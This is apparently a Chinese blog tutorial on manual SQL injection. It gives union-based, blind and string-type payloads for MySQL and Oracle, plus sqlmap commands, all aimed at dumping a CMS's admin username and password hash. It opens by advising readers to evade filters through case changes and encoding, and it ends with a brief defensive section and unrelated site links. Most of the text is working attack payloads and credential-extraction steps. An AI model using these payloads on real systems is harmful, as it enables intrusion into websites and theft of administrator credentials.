非常重要:首先在网站找到管理入口,否则,呵呵就算有用户名和密码,找不到入口,也是白玩。。

注入时,注意通过改变大小写、编码、转换等方式躲过系统检查,顺利执行语句!!!

(一)数字型注入

正常步骤:

1、 判断注入点

在 URL 后加’判断是否存在注入点,数据库报错。

2、 判断字段长度:

利用 order by N,从数字 1 开始替代 N,直到返回错误页面,判断字段长度为错误页面的 N-1,
也就是最后一个正常页面返回。

3、 判断字段位置回显:

利用
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 最后一个数为字段长度,有回显会将相应数字显示出来。假如,3 和 11 显示在页面上了,
即可利用3位置和11位置,显示有用的信息。

4、 判断数据库信息:

利用
and 1=2 union select 1,2,sql_command, 4,5,6,7,8,9,10,11,12, 13,14,15;
用 sql 指令替换 sql_command。 Sql_command为以下参数:
查看 mysql 版本 version()
查看当前数据库 database()
查看当前用户 user()

5、 判断 mysql 所有数据库:

利用
and 1=2 union select 1,2,group_concat(convert (SCHEMA_NAME using latin1)),
4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.SCHEMATA 查看 mysql中所有数据库的名称。可知业务数据库为 cms。

6、 判断数据库表:

利用
and 1=2 union select 1,2,group_concat(conver t(table_name using latin1)),4,5,6,7,8,9,
10,11,12,13,14,15 from information_schema.tables where table_schema=database() 查看 cms 数据库拥有的所有表。可以发现存放用户信息的表cms_users。

7、 判断数据表的所有列:

利用
and 1=2 union select 1,2,group_concat(convert(column_name using latin1)),4,5,6,7,8,9,10,
11,12,13,14,15 from information_schema.columns where table_name=0x636D735F7573
table_name=cms_users 表名需要编码为 16 进制。得到 3 个列:userid,username 和 password

8、 判断管理员账号密码:

利用
and 1=2 union select 1,2,concat_ws(0x2b,userid,username,password),4,5,6,7,8,9,10,
11,12,13,14,15 from cms.cms_users。 得到管理员账号密码为:admin/e10adc3949ba59abbe56e057f20f883e(解密后123456)

9、 登陆后台地址。SQL注入结束。

使用SQLmap注入

判断注入点—>注入类型—>注入数据库—>获取当前数据库—>获取当前数据库中的表格—>获取当前数据库中表格中的关键字段—>获取字段内的内容。

注入结束,获取到cms_users中的userid,username 和 password的内容信息。

盲注

猜表名和用户名密码

第一步-猜表名

and (select count(*) from 表名) >=0
例如 and (select count(*) from admin) >=0 网页返回正常 说明存在admin这个表,返回不正常,接着猜

第二步-猜字段

and (select count(字段名) from猜到的表名)>=0

例如 and (select count (user) from admin ) >=0 网页返回正常  说明存在user这个字段,不正常,继续

第三步-猜字段的位数

and (select top 1 len (字段名) from 表名) >0

例如 and (select top 1 len (user) from admin) >N 返回正常 >N+1 返回错误,即该字段为N+1位了。

第四步 猜字段的Ascii码值

and (select top 1 asc (mid (字段,位数,1)) from 表名) >ascii(1~128)

例如 and (select top 1asc (mid (user,1,1)) from admin) >96 返回正常 97返回错误
那么这个user表里面的第一个ascii码就是97了 ascii码对应的就是字母a
user字段里面的第一位已经被猜出来了 是a 对应的ascii码是97

接着猜第二位

and (select top 1asc (mid (user,2,1)) from admin) >99 返回正常 100返回错误 ascii码为100
100对应的是字母d

接着猜第三位

and (select top 1asc (mid (user,3,1)) from admin) >108 返回正常 109 返回错误 ascii码为109
109对应的是字母m

接着猜第四位

and (select top 1asc (mid (user,4,1)) from admin) >104 返回正常 105返回错误 ascii码是105
105对应的是字母i

接着猜第五位

and (select top 1asc (mid (user,5,1)) from admin) >109 返回正常 110返回错误 ascii码为110
110对应的字母是n Ascii:97 100 109 105 110
对应的字母 :a d m i n

第五步 猜解pwd字段

and (select top 1 len (pwd) from 表名) >N
user字段猜完了开始猜pwd字段也就是网站后台的密码
and (select top 1 asc (mid (pwd,1,1)) from admin) >ascii(1—128)
and (select top 1 asc (mid (pwd,N,1)) from admin) >ascii(1—128) 和猜user字段里的内容是一样的,把字段替换成pwd ,然后在猜的时候替换要猜解的位数和ascii码。
猜出了用户名和密码的散列值(明文),即可反查密码了。

(二)字符型注入

1、在url后面加’报错

接着用 ' and '1'='1,' and '1'='2判断页面,或者' and 1=1--,' and 1=2--

2、判断数据库类型

利用oracle的系统表,user_tables
' and (select count (*) from user_tables>0

3、获取字段数

' order by 1--,通过变换值,当为9时返回空页面。

4、利用 union select 判断注入类型

' union select null,null,null,null,null,null,null,null from user_tables order by 1 desc,
给null加 ' ',确定为数字型还是字符型,通过判断1,2,7,8 为数值型,3,4,5 为字符型,6 为其他类型(时间类型)。

5、判断各字段在页面中的显示位置

 ' union select 1,2,'3','4','5',null,7,1 from user_tables order by 1 desc --
在页面显示3、5。

6、其他

' and (select count(*) from user_tables)=5--
//可以得知user_tables中含有5张表,可以用大小于号判断。 ' and 1=2 union select 1,2,table_name,'4','5',null,7,1 from user_tables
// 获取数据表名 ' and (select count(*) from xblouser) >0 ,
//当大于1为假时,确定该表只有1个账号。 ' and (SELECT count(*) FROM USER_TAB_COLUMNS WHERE
table_name='XBLOUSER' )>0
// 列举字段数,发现大于3为假,证明字段数为2。 ' and 1=2 union select 1,2,COLUMN_NAME,'4','5',null,7,1 from (select * from (SELECT
COLUMN_NAME FROM USER_TAB_COLUMNS WHERE table_name='XBLOUSER' order by 1 asc )
WHERE ROWNUM<=3 ORDER BY 1 DESC) WHERE ROWNUM<=1 -- ' and 1=2 union select 1,2,XBLOUSERNAME,'4',xblopassword,null,7,1 from XBLOUSER
//获取管理员用户名和密码信息

(三)利用SqlMap注入

1.访问:http://IP 任意点击一条文章得到连接地址

2.在命令行中,输入

sqlmap.py –u http://IP/cms/show.php?id=33  //会输出MySql的注入点信息。

3.在命令行中,输入

sqlmap.py –u http://IP/cms/show.php?id=33 --dbs  //输出MySql中的数据库名称
sqlmap.py –u http://IP/cms/show.php?id=33 -–tables –D “cms_users” //输出cms的列名称
sqlmap.py -u http://192.168.16.181/cms/show.php?id=33 --columns -T "cms_users" -D "cms"
//输出表的列名称

4.在命令行中,输入

sqlmap.py  -u http://192.168.16.181/cms/show.php?id=33  --dump -C "password,userid,username" -T "cms_users" -D "cms"  //对cms库中的表cms_users中的所有列进行破解

sqlmap.py –u http://IP/cms/show.php?id=33 --dump –D “cms”   //输出MySql中所有数据库的名称及其相关信息,并且会对管理员账户进行破解尝试。

(四)SQL注入的防护

1、数据库禁止远程访问

(1)将phpMyAdmin设置为禁止远程访问

   <Directory "D:/.../phpmyadmin3.4.10.1/">
Options Indexes FollowSymLinks MultiViews
AllowOverride all
Order Deny,Allow
Deny from all
Allow from 127.0.0.1 //指定仅允许本机访问
</Directory>

(2)设置数据库禁止远程访问(有些版本不支持)

use mysql;
update user set host = "localhost" where user = "root" and host = "%"; //仅允许root本机登录
update user set host = "localhost" where user = "%"; //不允许任何用户远程登录
flush privileges; //配置立即生效

2、安装网站防护安全狗

安装完毕,并设置好相关的参数,运行之后,即可在右下角托盘中看到运行中的安全狗。在安全狗图标上点击右键,即可看到有网站安全防护功能。

3、其他方法

1、限制访客权限,过滤union、and等敏感命令;
2、参数化查询;
3、变异语句的发现;利用/*XXX*/代替空格,定义无用变量等
4、白名单机制。

sql高级手工注入的更多相关文章

  1. sql server手工注入

    sql server手工注入 测试网站testasp.vulnweb.com 1. http://testasp.vulnweb.com/showforum.asp?id=0 http://testa ...

  2. (后端)sql手工注入语句&SQL手工注入大全(转)

    转自脚本之家: 看看下面的1.判断是否有注入;and 1=1;and 1=2 2.初步判断是否是mssql;and user>0 3.判断数据库系统;and (select count(*) f ...

  3. 最新SQL手工注入语句&SQL注入大全

    看看下面的1.判断是否有注入;and 1=1;and 1=2 2.初步判断是否是mssql;and user>0 3.判断数据库系统;and (select count(*) from syso ...

  4. 一次简单的SQL手工注入

    1. 首先要了解SQL注入的原理:   SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 具体来说,它是利 ...

  5. 小白日记41:kali渗透测试之Web渗透-SQL手工注入(三)-猜测列名、表名、库名、字段内容,数据库写入

    SQL手工注入 靶机:metasploitable(低)  1.当无权读取infomation_schema库[MySQL最重要的源数据库,必须有root权限]/拒绝union.order by语句 ...

  6. 小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell

    SQL手工注入 1.读取文件[load_file函数] ' union  SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' unio ...

  7. 小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法

    SQL手工注入(一) SQL注入:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.[SQL注入原理] ##服务端程序将用户输入参数作为查询 ...

  8. Kali学习笔记42:SQL手工注入(4)

    前三篇文章都是在讲发现SQL注入漏洞 如何查询得到所有的信息 那么另一条思路还未尝试过:能否修改数据? 例如这样: '; update users set user='yiqing' where us ...

  9. python辅助sql手工注入猜解数据库案例分析

    发现存在sql注入漏洞 简单一点可以直接用sqlmap工具暴库 但是如果想深入理解sql注入的原理,可以尝试手工注入,配合python脚本实现手工猜解数据库 首先hachbar开启 获取cms登录后的 ...

随机推荐

  1. JAVA 对象的创建与克隆

    目录 一.对象的4种创建方式 二.通过new创建对象 三.反射 四.克隆对象 浅拷贝 深拷贝 五.反序列化 六.补充 一.对象的4种创建方式 new 创建 反射 克隆 反序列化 二.通过new创建对象 ...

  2. Solution -「HDU 5498」Tree

    \(\mathcal{Description}\)   link.   给定一个 \(n\) 个结点 \(m\) 条边的无向图,\(q\) 次操作每次随机选出一条边.问 \(q\) 条边去重后构成生成 ...

  3. Spring Data JPA应用 之查询分析

    在Spring Data JPA应用之常规CRUD操作初体验 - 池塘里洗澡的鸭子 - 博客园 (cnblogs.com)尾附上了JpaRepository接口继承关系及方法,可以知道JpaRepos ...

  4. kubernetes用户使用token安全认证教程

    kubernetes server account的token很容易获取,但是User的token非常麻烦,本文给出一个极简的User token生成方式,让用户可以一个http请求就能获取到. to ...

  5. petite-vue源码剖析-从静态视图开始

    代码库结构介绍 examples 各种使用示例 scripts 打包发布脚本 tests 测试用例 src directives v-if等内置指令的实现 app.ts createApp函数 blo ...

  6. 由浅入深--第一个MyBatis程序

    话不多说,马上开始我们的第一个Mybatis程序: 第一个程序,当然要参考MyBatis的官网文档来搞,地址如下:https://mybatis.org/mybatis-3/zh/getting-st ...

  7. 2016EC Final F.Mr. Panda and Fantastic Beasts

    题目大意 \(T(1\leq T\leq42)\)组数据,给定\(n(2\leq n\leq 50000)\)个字符串\(S_{i}(n\leq\sum_{i=1}^{n}S_{i}\leq 2500 ...

  8. WPS二级标题链接到一级标题

    WPS二级标题链接到一级标题,即2后出现2.1 2.2而不是1.3 1.4什么的 样式中的编号什么的都不用动,默认即可,关键在于这些多级标题是否选择了同一个编号方式 WPS中,只需要将它们的编号选择为 ...

  9. Flask 自建扩展

    自建扩展介绍 Flask扩展分两类 纯功能, 如: Flask-Login 提供用户认证 对已有的库和工具包装(简化继承操作,并提供有用的功能,更方便) 如: Flask-SQLAlchemy 包装了 ...

  10. 线上| 10万奖金!Greaterwms/DVAdmin插件开发者现金激励活动

    为激励广大开发者创作精神,Greaterwms/DVadmin插件开发者现金激励活动现已上线! 什么是GreaterWMS 完全开源仓储管理软件,遵循Apache License 2.0协议,前后端分 ...